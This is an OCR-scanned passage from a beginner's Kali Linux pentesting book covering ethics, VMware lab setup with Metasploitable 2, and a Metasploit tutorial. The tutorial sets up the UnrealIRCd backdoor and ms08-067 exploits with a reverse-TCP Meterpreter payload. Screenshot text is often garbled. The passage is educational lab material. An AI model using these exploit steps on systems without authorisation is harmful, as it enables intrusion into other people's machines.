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Chapter 1 - Introduction

What is Kali?

Kali is the latest and greatest version of the ever popular Backtrack Linux penetration testing
distribution. The creators of the Backtrack series kept Kali in a format very similar to Backtrack, so
anyone familiar with the older Backtrack platform will feel right at home.

Kali has been re-vamped from the ground up to be the best and most feature rich Ethical Hacking/
Pentesting distribution available. Kali also runs on more hardware devices greatly increasing your
options for computer security penetration testing or “pentesting” systems.

If you are coming to Kali from a Backtrack background, after a short familiarization period you
should find that everything is very similar and your comfort level should grow very quickly.

If you are new to Kali, once you get used to it, you will find an easy to use security testing platform
that includes hundreds of useful and powerful tools to test and help secure your network systems.

Why Use Kali?

Kali includes over 300 security testing tools. A lot of the redundant tools from Backtrack have been
removed and the tool interface streamlined. You can now get to the most used tools quickly as they
appear in a top ten security tool menu. You can also find these same tools and a plethora of others all
neatly categorized in the menu system.

Kali allows you to use similar tools and techniques that a hacker would use to test the security of your
network so you can find and correct these issues before a real hacker finds them.

Hackers usually perform a combination of steps when attacking
a network. These steps are summarized below:

e Recon — Checking out the target using multiple sources —
like intelligence gathering.

e Scanning — Mapping out and investigating your network.

e Exploitation — Attacking holes found during the scanning
process.

e FElevation of Privileges — Elevating a lower access
account to Root, or System Level.

e Maintaining Access — Using techniques like backdoors to
keep access to your network.

e Covering their Tracks — Erasing logs, and manipulating
files to hide the intrusion.

An Ethical Hacker or Penetration Tester (good guys hired to
find the holes before an attacker does) mimics many of these




techniques, using parameters and guidelines set up with
corporate management, to find security issues.

They then report their findings to management and assist in
correcting the issues.

We will not be covering every step in the process, but will
show you many of the techniques that are used, and how to
defend against them.

I would think the biggest drive to use Kali over commercial security solutions is the price. Security
testing tools can be extremely costly, Kali is free! Secondly, Kali includes open source versions of
numerous commercial security products, so you could conceivably replace costly programs by simply
using Kali.

All though Kali does includes several free versions of popular software programs that can be
upgraded to the full featured paid versions and used directly through Kali.

There really are no major tool usage differences between Backtrack and Kali. Kali is basically
Backtrack version 6, or the latest version of Backtrack. But it has been completely retooled from the
ground up, making software updates and additions much easier.

In Backtrack updating some programs seemed to break others, in Kali, you update everything using the
Kali update command which keeps system integrity much better.

Simply update Kali and it will pull down the latest versions of the included tools for you. Just a note
of caution, updating tools individually could break Kali, so running the Kali update is always the best
way to get the latest packages for the OS.

I must admit though, some tools that I liked in the original Backtrack are missing in Kali. It is not too
big of a deal as another tool in Kali most likely does the same or similar thing. And then again you
can install other programs you like if needed.

In addition to stand alone and virtual machine instances of Kali, I also use Kali on a Raspberry Pi - a
mini credit card sized ARM based computer. With Kali, you can do almost everything on a Pi that you
could do on a full sized system. In my book I will cover using the PI as a security testing platform
including testing Wireless networks.

Testing networks with a computer you could fit in your pocket, how cool is that?

Though Kali can’t possibly contain all the possible security tools that every individual would prefer,
it contains enough that Kali could be used from beginning to end. Don’t forget that Kali is not just a
security tool, but a full-fledged Linux Operating System. So if your favorite tool runs under Linux, but
is not included, most likely you can install and run it in Kali.

Ethical Hacking Issues



Using Ethical Hacking a security tester basically acts like a hacker. He uses tools and techniques that
a hacker would most likely use to test a target network’s security. The difference is, the penetration
tester 1s hired by the company to test its security and when done reveals to the leadership team how
they got in and what they can do to plug the holes.

The biggest issue I see in using these techniques is ethics and law. Some security testing techniques
that you can perform with Kali and its included tools are actually illegal to do in some areas. So it is
important that users check their local, State and Federal laws before using Kali.

Also, you may have some users that try to use Kali, a very powerful set of tools, on a network that
they do not have permission to do so. Or they will try to use a technique they learned but may have not
mastered on a production network.

All of these are potential legal and ethical issues.

Scope of this Book

This book focuses on those with beginning to intermediate experience with Backtrack/ Kali. I think it
would also be a good tool for network administrators and non-security IT professionals that are
looking to get into the field.

We will cover everything from a basic overview of Kali to using the included tools to test security on
Windows and Linux based systems. We will cover Social Engineering, Wi-Fi security, using Kali on
a Raspberry Pi1, exploiting passwords, basic computer security testing from reconnaissance to finding
& using exploits, and finally securing your systems.

Why did I write this book?

I have written technical articles on Backtrack for several years now, and have helped out with
multiple Backtrack/ Kali books and training series. I get a lot of questions on how to use Kali/
Backtrack, so I decided that it was time to write my own beginners guide book.

My other reason for writing this book is to help get young people interested in the field of computer
security. The US is currently facing a crisis when it comes to young professionals choosing technical
careers and the cyber security field is no different.

The US government is in need of thousands' of cyber warriors and some industry experts have even
suggested that the US consider hiring security experts® from other countries to fill in the gap.

Think about that for a minute.

The numbers game is against us also. The US is the number two user of the internet, with 81% of our
population connected. Now consider the fact that China is in the number one spot® with almost double
the amount of users. And their connected rate 1s only at about 41%!

Though many think that the US is ranked number one in cyber offense capabilities, our defense is not
ranked that well. With foreign countries making marked advances in cyber security the US needs to
get as many brilliant young people into the field as possible, and they need to do it sooner rather than
later.



Disclaimer
Never try to gain access to or security test a network or computer that you do not have written
permission to do so. Doing so could leave you facing legal prosecution and you could end up in jail.

The information in this book is for educational purposes only.

There are many issues and technologies that you would run into in a live environment that are not
covered. This book only demonstrates some of the most basic tool usage in Kali and should not be
considered as an all-inclusive manual to Ethical hacking or pentesting.

I did not create any of the tools in Kali nor am I a representative of Kali Linux or Offensive Security.

Any errors, mistakes, or tutorial goofs in this book are solely mine and should not reflect on the tool
creators, please let me know where I screwed up so it can be corrected.

Though not mentioned by name, thank you to the Kali developers for creating a spectacular product
and thanks to the individual tool creators, you are all doing an amazing job and are helping secure
systems worldwide!

References
1.

2. http://www.theguardian.com/technology/2012/jul/10/us-master-hackers-al-gaida

3. https//en.wikipedia.org/wiki/List_of countries_by number_of Internet users


http://www.csmonitor.com/USA/Military/2011/0509/What-US-cybersecurity-needs-a-few-more-good-guys
http://www.theguardian.com/technology/2012/jul/10/us-master-hackers-al-qaida
http://en.wikipedia.org/wiki/List_of_countries_by_number_of_Internet_users
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Chapter 2 - Installing Kali with VM Ware Player

Resources
® VMWare - http://www.vmware.com/

® Kali Install Directions - http://docs.kali.org/category/installation
® Kali Downloads - http://www.kali.org/downloads/

® Kali Repositories - http://docs.kali.org/general-use/kali-linux-sources-list-repositories

® Metasploitable 2 - http://sourceforge.net/projects/metasploitable/files/Metasploitable2/

® Microsoft Evaluation Software - http://technet.microsoft.com/en-us/evalcenter

Introduction
In this section we will setup Kali Linux, Windows 7 and Metasploitable 2 as Virtual Machines
(VMs) using VMWare Player on a host computer.

Setting up our testing lab using virtual machines makes it very easy to learn offensive computer
security testing using Kali.

Virtual machines make it possible to run several operating systems on a single computer. That way
we do not need a room full of computers to set up a testing and learning environment. We only need
one machine powerful enough to run several Virtual Machine sessions at once.

For the book I used a Windows 7 Core I-5 system with 8 GB of RAM. It had plenty of power to run
all three of our lab operating systems at the same time with no problem at all.

If you have experience with Virtual Systems, you can use any Virtual Machine software that you want.
But for this tutorial I will be using VMWare Player as the host software, and then install Kali,
Metasploitable 2 and Windows 7 in separate VMs running under the host.

When done, you should have a small test network that looks something like this:


http://www.vmware.com/
http://docs.kali.org/category/installation
http://www.kali.org/downloads/
http://docs.kali.org/general-use/kali-linux-sources-list-repositories
http://sourceforge.net/projects/metasploitable/files/Metasploitable2/
http://technet.microsoft.com/en-us/evalcenter
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Because we will be dealing with vulnerable operating systems, make sure that you have a Firewall
Router (Preferably hardware) between the Host system and the live internet.

Install VM Ware Player & Kali
Installing Kali on VMWare is extremely simple as Offensive Security provides a Kali WMWare
image that you can download, so we will not spend a lot of time on this.

Download and install VMWare Player for your version of OS.

1. Download and install VMWare Player (https://my.vmware.com/web/vmware/downloads)

Welcome to the installation wizard for VMware
Player

The installation wizard will install VMware Player on your
computer, To continue, dick Mext.

WARNIMG: This program is pratected by copyright law and
international treaties.

I Mext = | l Cancel |

2. Agree to the license agreement and choose where you want it to install it, the default is
normally fine.

3. Click, “Finish” when done.


https://my.vmware.com/web/vmware/downloads

4. Download the Kali VMWare Image (http://www.kali.org/downloads/) and save it in a
location where you want it to run from.

L = i 1 \/RA 1
ali Linu 0 ViMware Imape
B i Linux 1.0 VMware imag

Kali Linux 1.0 VYWware Image {i386-pae) Image or Torrent

L A v - 04 a 30 3RFIN T~ PR AR 984 2l AQEA TR AFD
SHATSUM: 32a1e382bff202c336bbdf0a2a51e00d3543bdf9

(Note: It is always a good idea to verify the SHAISUM with the downloaded image to verify
you have a legitimate copy of the image. There are numerous MD5/ SHAI freeware programs
available.)

5. Un-GZip and Un-Tar the downloaded image (7-Zip works great).

14% Extracting ChlUsers\Dan\Downl ... B6-gnome-vm.tar.gz I. == ﬁ
Elapsed time: 00:00:51 Total size: 3070 MB
Remaining time: 00:05:00 Speed: 8939 KB/s
Files: a Processed: 1231 MB
Compression ratio: 6% Compressed size: 446 MB

kealiiniee-1.04386-gnome-vm tar
F 3 R

Start the VMWare Player.

Click, “Player” from the menu.

Then “File”

AR S B

Next click, “Open”.

10. Surf'to the extracted Kali .vmx file, select it, and click, “Open”.
11. Tt will now show up on the VMWare Player home screen:

% Viware Pla}rerﬁ'«lc:n—mmmercial use only) “
I Player = | b - =

Harne

=
|"IIT kalidinux+386-gnome-vm

12. With the Kali VM highlighted click, “Edit Virtual Machine Settings”.

13. Here you can view and change any settings for the VM:


http://www.kali.org/downloads/

Dievice Summary

[ Processors 1
\Hard Disk (5C5I) 30 GB

"y CD,/DVD (IDE) Auto detect
IElNetwcurk Adapter NAT
1JSB Controller Present
‘8‘ | Sound Card Auto detect
E.IDispIay Auto detect

14. Click, “Network Adapter”:

Metwork connection
(7 Bridged: Connected directly to the physical network
Replicate physical network connection state
Configure Adapters

onfgur

i@ MAT: Used to share the host's IP address
I Host-only: A private network shared with the host
() Custom: Spedfic virtual network

VYMnetd

(71 LAN segment:

It 1s set to NAT by default. This will be good enough for what we are doing. NAT means that each
Virtual machine will be created in a small NAT network shared amongst themselves and with the
host; they can also reach out to the internet if needed.

Each machine will be given a DHCP IP address, which means that the IP addresses might change on
the VMs when you reboot them.

(If you need to know Kalis or Metasploitables IP address, just type “ ifconfig” in a Terminal
window. On a Windows based VM, just type “ipconfig’ at a command prompt.)

15. Click “cancel” to return to the VMWare Player main screen.

16. Now just click, “Play Virtual Machine”, to start Kali. You may get a message asking if the
VM was moved or copied, just click, “I copied it”.

17. When prompted to install VMWare tool, select to install them later.

18. When Kali boots up you will come to the Login Screen:



19. Click on “Other”, then login with the username, “root” and the password “toor” (root
backwards).

20. You will then login to Kali and be presented with the main Desktop:

Fri Dec 13, 3:41 FM

Computer

HRNNUR

Congratulations, you did it!

Updating Kali
We will cover getting around in Kali a little later, but first, we need to update Kali to the latest
version. The VM 1mage is a bit old, so there are a lot of updates that could take a while to download.



1. Opena Terminal Window:

Applications Places ‘: [E]

2. Type, “apt-get update” and hit “enter”:

;~# apt-get update
http://http.kal

main Tra
i/main Tr
1/non-free Translation-en_US

i /non-free Translation-ean

. Done

s will be REMOVED:
eg-/-jre-cacao libopenvash

(Type, “y” and enter when prompted that additional disk space will be needed.)
This can take quite a while, so this might be a good time for a break, you deserve it!

4. When done, reboot.

Tech Note:

There are additional source repositories that you can manually add to
Kali if you want.

For example if you want the absolute latest and greatest, you can add the
“Bleeding Edge” repositories to Kali. But these do come with the
warning that they are not manually maintained and are low priority.

For more information see:

http://docs.kali.org/general-use/kali-linux-sources-list-repositories

That’s it; Kali should now be installed, updated and ready to go. We will take a closer look at the
desktop in the next section.

Installing VM Ware Tools for Linux
When Kali boots up, a WMWare pop-up should appear asking if you want to install the VMWare
tools into the operating system VM. This allows the OS to work better with VMWare, usually giving


http://docs.kali.org/general-use/kali-linux-sources-list-repositories

you more control over video options and cut and paste capability with the host.
You don’t need to install them, but it usually makes things work a little bit smoother.

When you get the pop-up message below, click “Download and Install”:

The following software is available for download:

WMware Tools for Linux - version 9.6. 1

1, Downloading and installing YMware Tools is

required to enable advanced features of
your virtual machine.

What would you like to do?

lDuwnInad and Install | [Remind Me Later |

The tools will then begin to download:

@ Downloading YMware Tools for Linus...

j YMware Tools for Linux - version 9.6.1
m Downloading. .. {25%)

Allow the tools to install and then click, “Close” when finished.

Installing Metasploitable 2

Metasploitable 2, the purposefully vulnerable Linux operating system that we will practice
exploiting, is also available as a Virtual Ware VM. As we did with the Kali VM above, all we need
to do is just download the Metasploitable 2 VM image, unzip it and open it with VMWare Player.

It’s that simple.

1. Download Metasploitable 2
(http://sourceforge.net/projects/metasploitable/files/Metasploitable2/) and place it in a folder
where you want it saved.

2. Unzip the File.

|| Metaspleitable.nvram 5/21/2012 1:45 AM NVRAM File 9KE
% Metasploitablevmdk 572172012 1:46 AM Vhware virtual dis... 1,900,864 KB
|| Metasploitable.wvmsd 5/21/20121:46 AM  VMSD File 1KE
EI Metasploitablevmzx 5/21/2012 1:46 AM Vihware virtual m... 3KB
|| Metasploitablevmxf 5/21/20121:37 AM - VMKF File 1KE

3. Then just open Metasploitable 2 in VMWare by starting VMWare Player, click, “Player”,


http://sourceforge.net/projects/metasploitable/files/Metasploitable2/

“File”, “Open”, then surf to and select the Metasploitable.vimx file and click, “Open”.

4. It will now show up in the VMWare Player Menu:

' WMware Player (Non-commercial useonly]

Player = | B - = o

—
1L Metasploitable2-Linux

5. Now go to “Edit Virtual Machine Settings” for Metasploitable and make sure the network
interface is set to “NAT”:

- . I
Virtual Machine Settings ~ T T T | e
Hardware | Options
Device Summary Device status
B Memory 512 M8 J'-"'f-f‘-
[ rrocessors 1 | Connect at power on

i Hard Disk (SCSI) 8GR

J CD/OVD (IDE) Auto detect Netbwork conmecton

LI Nebwork Adapter  NAT Bridged: Connected directly to the physical netwark
T network adapt,.. Host-only ke ot i
&3 USE Controler  Present |
I !Dﬁda? Auto detect re Adapters

@ MAT: Used to share the host's [P address
_ Host-onhy: A private network shared with the host
Custom: Spedfic virtual network

Vet

LAN segrent:

Metasploitable 2 is now ready to use.

*** Warning *** - Metasploitable is a purposefully vulnerable OS. Never run it directly open on
the internet. Make sure there is a firewall installed between your host system and the Internet.

6. Go ahead and “ Play ” the Metasploitable system, click “I copied it” if you are asked if you
moved or copied it.

You should now see the Metasploitable Desktop:



Harning: Mever expose this UH to an untrusted network?
Contact: msfdeviatlnetasploit.com

Login with mnsfadminsnsfadmin to get started

metasploitable login: _

7. Login with the credentials on the screen.

Login name: msfadmin
Password: msfadmin

8. At the terminal prompt type, “ifconfig” to get the IP address of the Metasploitable machine:

msfadmin@metasploitable:~$ ifconfig
ethO Link encap:Ethernet
inet addr:7192.168.198.129

The IP address in this case is 192.168.198.129. Because we are using DHCP the IP addresses of the
virtual machines may change when we bring the systems down and then back up. So it is a good idea
to check and verify them if you start having communication problems.

We now have our Metasploitable and Kali systems up.

Windows Virtual Machines

In this book I also use a Windows 7 VM (and a Windows XP VM in a few examples). You used to be
able to download a (30-90 day) Windows 7 Enterprise Evaluation version directly from Microsoft,
but it looks like most of the links now point to their Windows 8.1 Enterprise Evaluation:

http://technet.microsoft.com/en-us/evalcenter/hh699156

So if you want to follow along on the Windows 7 (or XP) sections you will need to install a licensed
copy of Windows 7 in VMWare Player.

I will not cover installing Windows 7 in VMWare Player, but basically all you need is your Windows
7 CD and install Key, and do a full install from disk by clicking “New Install” and then pointing to
your CD Rom drive:


http://technet.microsoft.com/en-us/evalcenter/hh699156

Mew Virtual Machine .';I"fl—lzal'd u

Welcome to the New Virtual Machine Wizard

A virtual machine is like a physical computer; it needs an operating
gystem. How will you install the guest operating system?

Inztall from:
@ Installer disc: |
| [éﬁ DVD RW Drive (D) v] |

B Insert the installer disc into this drive to continue.

Then just install Windows 7 as usual.

When done, you will have a Windows 7 Virtual Machine:

Windows 7

State: Suspended
05: Windows 7
Versin: Workstation 6.5-7.x virtual machine
RAM: 1 GB

P> Play virtual machine

.'ﬁ Edit virtual machine settings

Check the network settings on it to make sure that it too is using NAT for networking:

Hardware | Options |
Dievica | 5 ary Device status
Cormected
M emory 1GH = :
[ Processars 1 Conmect at power on
st Hard Disk (SCSI) 40 GB
& ) CD/DVD (IDE) At detect Network connection
EHDPP'!' Auto detect Bridged: Connected drectly to the physical network
Replicate physical network connechon state
EUsE Controller  Present I T I
¥ sound card Auto detect e i i
8 Printer Present @ NAT: Used to share the host's IP address
!ﬁﬂiﬂ'r' Autn detect Hast-only: A private network shared with the host
Custom: Spedific virtual network

Play the virtual machine and run “ipconfig” from a Windows 7 Command Prompt to see what its IP
address 1s:

Microsoft Windows [Version 6.1.7601]



Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\Fred>1pconfig

Windows IP Configuration
Ethernet adapter Local Area Connection:

IPv4 Address. ..........:192.168.198.130

And finally if you want, install the VMWare Tools for Windows when prompted:

Software Updates

| I'.' Downloading YMware Toals for Windows 2000 and later. .,
- - -

‘ —

!! YMware Toals for Windows 2000 and later - wersion 9.4.1

That’s it, you should now have three virtual machines in a mini-network that you can use to practice
and learn basic offensive security pentesting techniques.

Install Wrap Up
In this section we learned how to install VMWare Player as a virtual machine host. We then installed
Kali Linux, Metasploitable 2 and Windows 7 as separate virtual machines on the host.

We set them all up to use the same networking (NAT) so that they can communicate to each other and
out to the internet if needed.

We will use this setup throughout the rest of the book.

Just as a reminder, with using VMWare’s DHCP, IP addresses of the systems may change when we
reboot them. I used this partially because you will always be using different target IP addresses when
in the real world. But if you get lost, you can run “ifconfig” (Linux) or “ipconfig”’ (Windows) on the
VM to find the changed IP address.

And finally, never run Metasploitable directly on the internet as it is purposefully vulnerable.

Quick Desktop Tour
Let ’ s take a moment and take a short tour of the Kali menu and interface.

One of the biggest things you will notice when installing is that Kali is based off of Debian Linux,
instead of Ubuntu, which earlier versions were based on. If you were used to Backtrack, the desktop
still uses Gnome, but it does seem to have a different look and feel to it.

Top Menu Bar

We will start our tour with the top menu bar.
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The top menu has the Applications menu which is the main gateway to access all the included
programs in Kali, the Places menu which allows you to navigate around the file system. The
Iceweasel web browser is next, and a shortcut to the Terminal prompt follows.

In the middle is the date and time, followed by a volume control icon on the right side, a Network
icon, where you can view and edit your network connections and finally your user menu where you
can access system settings, switch users or log out.

Applications Menu
The Applications menu is the main menu in Kali.

<

Applications Places

i ACCEsSories »
$|j Electronics ¥
4% Graphics »
ﬂj Internet »
& Kali Linux »
u‘ilél Office ¥
{ Programming »
HIE'J Sound & Video »
System Tools ¥

Under this menu you find the following main menus:

e Accessories menu includes the normal tools you would expect to find in an operating system.
o FElectronics tab contains a programming utility for the Arduino board.

o Kali Linux 1s the main menu to access the security programs.

o System Tools contain system administrator tools and preferences.

The rest are pretty self-explanatory.
Kali Linux Menu

Of most importance to us, the Kali Linux menu option is where you will find most of the security
tools.
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i J"I'-\.L—.".-'_"_'l 25 >

$|:| Electronics >

,"-: Graphics >

a8 Hamradio 3
L Intarne N
W Internet

Kaln Linux ; Top 10 Security Tools ; aircrack-ng
P Y ]
bice] x
Office } ; \ burpsuite
O\ Infarmation Gathering ’ % s
>
¥ Programming } \ hydra
h Vulnerability Analysis ¥ '
B sound & » U % o
B Scund & Video b \ ohn
i Web Applications }
ofy ¥veb Applic . .
System Tools ¥ \ maltego
Password Attacks ’ :
. f v C L8 b
'E} Universal Access > \ metasploit framewaork
= g Wireless Attacks »
L &
= Diher > : \ nmag
o Explostation Tools ¥
A owasp-zap
L" sniffing/Spoofing » .S
sqlmag
E Maintaining Access 3 \ F
.i' wireshark
‘?-;5 Reverse Engineering >

e >tress Testing
B Hardware Hat king
" Forensics

:\".".:I.'I"T-I'll.] Tools

A quick peek at the menu shows that a Top Ten Security Tools menu has been added to Kali so you

can get into your favorite tools faster.

Aircrack-ng, Burpsuite, Metasploit, Nmap, Wireshark and several other top programs are now right

at your fingertips.

If you are familiar with the original Backtrack don’t worry, all the regular tools are still present in a

menu system very similar to the one Backtrack used.

To navigate the menu, just find the topic you want, for example, Information Gathering and follow

the menu across until you find the utility you want:



", Top 10 Security Tools )

Information Gathering » Q.. CMNS Analysis

rh Vulnerability Analysis 2 'Ck IDS/IP5 Identification »
b
a0 Web Applications 2 Oc. Live Host |dentification »
/" Password Attacks 3 Q. Metwaork Scanners »
g Wireless Attacks 3 Q., 05 Fingerprinting »
&} Exploitation Tools » 0\ OS5INT Analysis 2
-ﬁ Sniffing/Spooefing > Q Route Analysis »
B e = : S k. =2yt
u laintaining Access SErYIC e F|nr._'_4e}|'pr|r|‘r_|nr._'_4 » dnmap-client
% Reverse Enginearing 3 C\ SMB Analysis » i dnmap-server
1 T A 1
'3,:' Stress Testing ? 'C'\ SMTPFP Analysis » K implementationt
— s
L Hardware Hacl ing L O\ SMMP Analysis 3' \ implementationtd
13 PoD aho™ .
J Reporting Tools » Q\ Telephany Analysis » ‘K nmag
] FE A
T System Services » Q., Traffic Analysis » K sslscan

N
Oy VPN Analysis L\

m 0\. ValP Analysis » sslyze
o

tlsslad
s

\ ZEnmap

Following down the main menu branch you will see that the tools are sorted by type. Web
Application testing programs can be found in the Web Applications menu option, all Password
related security programs are under the Password Attacks menu and so on.

Conclusion

If you want, it would be a good idea to take a few minutes and surf the menu system until you are
familiar with its layout.

Many, if not most of the programs can be run directly from the command prompt, and there are
additional programs included in Kali that are not in the menu system. We will cover several of the
utilities that come with Kali. We will also cover a few that have not been added in yet, but are very
good tools for any security tester.

Part 2 - Metasploit Tutorial




Chapter 3 — Introduction to Metasploit
Resources
Metasploit Information

® http://www.offensive-security.com/metasploit-unleashed/Main_Page

® http://www.offensive-security.com/metasploit-unleashed/Msfconsole Commands
Security Bulletin Sites

® http://cve.mitre.org/

® http://technet.microsoft.com/en-us/security/bulletin

Introduction
For the security testing community, Metasploit (and Metasploit Pro) is one of the coolest things since
sliced bread. Metasploit gives you a complete framework, or playground for security testing.

Easy phishing: Set up email templates, landing pages and listeners
in Metasploit Pro's wizard -- type 'go pro' to launch it now.

=
--=[ 1169 ex

--=[ 3

The Metasploit Framework is a comprehensive platform for performing vulnerability testing, and
exploitation. It is loaded with over a thousand exploits, hundreds of payloads and multiple encoders.

We will cover the basics of using Metasploit in this chapter, and then in a later chapter see how to
use Metasploit against a test target. If you are already familiar with using Metasploit then feel free to
skip this chapter or use it as a refresher.

Updates
Normally to update Metasploit, you simply run “mfsupdate”, but according to the Rapid 7 website,
Metasploit updates are synced to update weekly with Kali.

(https.://community.rapid7.com/thread/3007)


http://www.offensive-security.com/metasploit-unleashed/Main_Page
http://www.offensive-security.com/metasploit-unleashed/Msfconsole_Commands
http://cve.mitre.org/
http://technet.microsoft.com/en-us/security/bulletin

Metasploit Overview
You can start Metasploit a couple of different ways, from the menu or from a terminal prompt.

® /Kali Linux/Top Ten Security Tools/Metasploit framework
e /Kali Linux/Exploitation Tools/Metasploit
® Or just “mfsconsole” in a terminal

Once Metasploit loads you will see the following main screen and be given an “msf > prompt.

~# msfconsole

ITIIIT

Metasploit can be a little confusing if you have never used it before, but once you get used to how it
works, you can do some amazing things with it.

Basically, using Metasploit to attack a target system usually involves:

1. Picking an Exploit

2. Setting Exploit Options
3. Picking a Payload
4. Setting Payload Options

Running the Exploit
6. Connecting to the Remote System
7. Performing Post Exploitation Processes

The screenshot below shows an example of this process, but don’t worry; we will cover the process
in much more detail as we go along.



Depending on the type of exploit, once our exploit is complete we will normally end up with either a
remote shell to the computer or a Meterpreter shell.

A remote shell is basically a remote terminal connection or a text version of a remote desktop for
Windows users. It allows us to enter commands as if we are sitting at the keyboard.

But a Meterpreter shell offers a ton of interesting programs and utilities that we can run to gather
information about the target machine, control devices like the webcam and microphone, or even use
this foothold to get further access into the network.

And of course, if needed, you can drop to a regular shell at any time.

In most cases, depending on what you are trying to do, a Meterpreter Shell is much more
advantageous than just a regular shell.

We will discuss the Meterpreter Shell later, but for now let’s quickly cover the first five steps.

Tech Note:

When all else fails and you start to feel lost in
Metasploit, or the Meterpreter shell, try typing
the “help” command.

You can also use the “tab” key to autocomplete a
line or hit it twice to show all available exploits
and payloads.

Ex. show exploits <tab><tab>

Picking an Exploit
If you are a glutton for punishment and want to view all the exploits, just type “show exploits” from
the msf prompt:

msf > show exploits

But it is easier to use the search command to find what you are looking for. Simply type “search” and
then the information you want. Sometimes being very specific will help you find the exploit you want
quicker.

If you see an error that says, “/!] Database not
connected or cache not built, using slow



search’ all you need to do is start the PostSQL
Database before running msfconsole (though
your search will work without it running, 1t will
just be slower).

To start the Database at a terminal prompt, type
the following:

® service postgresql start
® service metasploit start

® msfconsole

Metasploit allows you to search for exploits in multiple ways, by platform, or even CVE (Common
Vulnerabilities and Exposures) and bugtrack numbers.

Type “help search” to see all of the options:

» (exploit, auxiliary, or post)

axploit app:client

To search by name, just type search and the text you want. So for example to see if Metasploit has an
exploit for Microsoft’s Security Bulletin MS13-069 vulnerability:




To see all the CVE ID’s from this year (truncated list):

nsf> sear

Matching Modules

Name Disclosure Date

Rank

Or to see exploit information for a particular program just use its name:
mst™> search unreal

When you see an exploit that you want to know more about, just copy and paste the full path name and
use the info command:

mst> info exploit/unix/irc/unreal ircd 3281 backdoor

This will display the full information screen for the exploit:

Automatic Target

Basic options:

Mame

The target addr
The target port

AO1EE61Z . txt

The information screen shows the author’s name, a brief overview (not shown) along with the basic
options that can be set, a description and website security bulletin references for the exploit (shown).



As you can see in the picture above, we can set a couple options for this exploit, which leads us into
our next section.

But before we set our exploit options, we need to “use” it. Once we know we have the exploit we
want, we simply run the “use” command with the exploit name. Again copying and pasting the exploit
path and name works very well here too:

msf> use exploit/unix/irc/unreal ircd 3281 backdoor

msf exploit( I |
Okay, we are now using our exploit, so how do we set the options?

Setting Exploit Options
Setting options in Metasploit is as simple as using the “se” command followed by the variable name
to set and then the value.

set <Variable Name> <Value>

LHOST = Local Host, or our
Kali System

RHOST = Remote Host, or
our target System

LPORT = Port we want to
use on our Kali System

RPORT = Port we want to
attack on our target System

To set what variables can be set, use the “show options” command:
exploiti ) > show options
Module options (exploit/unix/irc/unreal_ircd 328l backdoaor):

Wame
The target port

Exploit target:

Id Mame

Automatic Target

msf exploit|

This exploit only uses two main variables, RHOST and RPORT. Rhost is the remote host that we are
attacking and Rport is the remote port.



Let’s go ahead and set the RHOST variable using the set command. If the target system’s IP address
was 192.168.0.20 then we would use the set command below:

Name Current Setting Required Description

RHOST 68.0.20 yes The target address
RPORT 6667 VEE The target port

This is all you really need is set in this exploit. You could now run the “exploit” command to execute
it.

If you are feeling a bit lost, don’t panic, we will cover this in more detail in the Metasploitable
chapter.

Multiple Target Types
The Unreal backdoor was a fairly easy exploit to use. Some exploits have multiple variables that you
need to set and they might even have some optional variables that can also be configured.

As you use Metasploit, you will find that some have multiple target types that can be attacked, and
that the exact target needs to be set for the exploit to work properly. To see the target, enter “show
targets”.

On the exploit we used above, the target is automatic, so we don’t need to set it.

st exploit|

Exploit targ

Id MName

@ Automatic Target

But on others, there are numerous targets and we need to pick the right one.

Getting a remote shell on a Windows XP Machine
We took a brief look at one of the Linux exploits, let’s go ahead and run through the ms08-067 exploit
as it is one of the more popular Windows exploits.

1. To start, simply use the exploit:
msf > use exploit/windows/smb/ms08_ 067 netapi

2. Now type, “show options”:



msf exploit( ) > show options
Module options (exploit/windows/smb/msG8 067 netapi) :

Name Current Setting Required Description

RHOST =
RPORT 45 VE set Thu :ME service
SMBPIPE BROWSER ye e pipe name to use

Exploit target:

Id Mame

¢] Automatic Targeting

Notice that by default the target is set to “Automatic Targeting”. I have had mixed results with using
automatic targeting, and sometimes things work better if you set the exact target.

3. If we want to set a specific target type, “show targets’:
msf exploit( ) = show targets

Exploit targets:

Mame

[ T 0 I T N R

Enﬁ11;h (

~

Hn1m~r5a1
English (NC
English

set target 2

5. And again a “show options” will reveal that we indeed have the target value set:



Exploit target:

Windows XP 5PGO/5P1 Universal

Lastly, though not often used in regular exploits, we can also set advanced options if we want.

To show the advanced options, just type “show advanced’:
msf exploiti
Module advanced options:
: CHOST
PE; The 1loca
: CPORT
rrent Setting:
cription : The local client port
“onnectTimeout
aximum numbar of s
Name : ContextInformationFile

Current Setting:
ption : The information file that contains context information

Now we have seen how to select an exploit and how to set the options. On many exploits we also
need to set a payload.

Picking a Payload
What’s the fun of exploiting a machine if you can’t do anything with 1t? Payloads allow you to do
something functional with the exploited system.

Metasploit comes with a multitude of different payloads that you can use. To see them, just type
“show payloads’.

= show payloads

osure Date Rank

normal
normal
normal
no rmal

TCP Inline

normal

dtfbind, ipwva tcp normal

Bind Tcp

normal



Or you can type “set payload” and hit the tab key twice. This will prompt Metasploit to ask you if you
want to see all the available payloads:

Most of the payloads are laid out in the format of ‘Operating System/Shell Type’ as shown below:

® sct payload/osx/x86/shell reverse tcp
® sct payload/linux/x64/shell reverse tcp
® sct payload/windows/shell reverse tcp
® sct payload/windows/meterpreter/reverse tcp
Simply select the correct OS for your target and then pick the payload you want.

The most popular types of payloads are shells, either a regular remote shell or a Meterpreter shell.

If we just want a remote terminal shell to remotely run commands, use the standard shell. If you want
the capability to manipulate the session and run extended commands then you will want the
Meterpreter shell (which we will discuss in further detail in the next chapter).

There are different types of ways that the payloads communicate back to the attacking system. I
usually prefer reverse tcp shells as once they are executed on the target system, they tell the attacking
machine to connect back out to our Kali system.

The big advantage to this is that with the victim machine technically “initiating” the connection out, it
usually is not blocked by the Firewall, as a connection trying to come in from the outside most likely
will.

Once we know what payload we want to use, we set it using the “set” command.

6. So for our example let’s use a Meterpreter shell for a Windows system and have it connect
back to us via TCP:

msf exploit( ] = set payload windows/meterpreter/reverse tcp

payload => windows/metarpreter/royersa o[

Now that our payload is set, we just need to set the options for it.

Setting Payload Options
Payloads have options that are set in the exact same way that the exploit is set. Usually payload
settings include the IP address and port for the exploit to connect out to.

And these too are set with the “set” command.

7. Type “show options” to see what settings the payload needs:



445

BROWSER

Payload ocptions (windows/meterpreter/reverse tcp):
MName Current Setting Required Description
EXITFUNC thread vas Exit technigue

LHOST 192 B .0.10 \ The
LPORT

As you can see in the image above, a new section titled “Payload options” shows up when we run the
command. We also have three new options that we can set, “EXITFUNC, LHOST, and LPORT”.

We will leave the EXITFUNC and LPORT settings to the default.
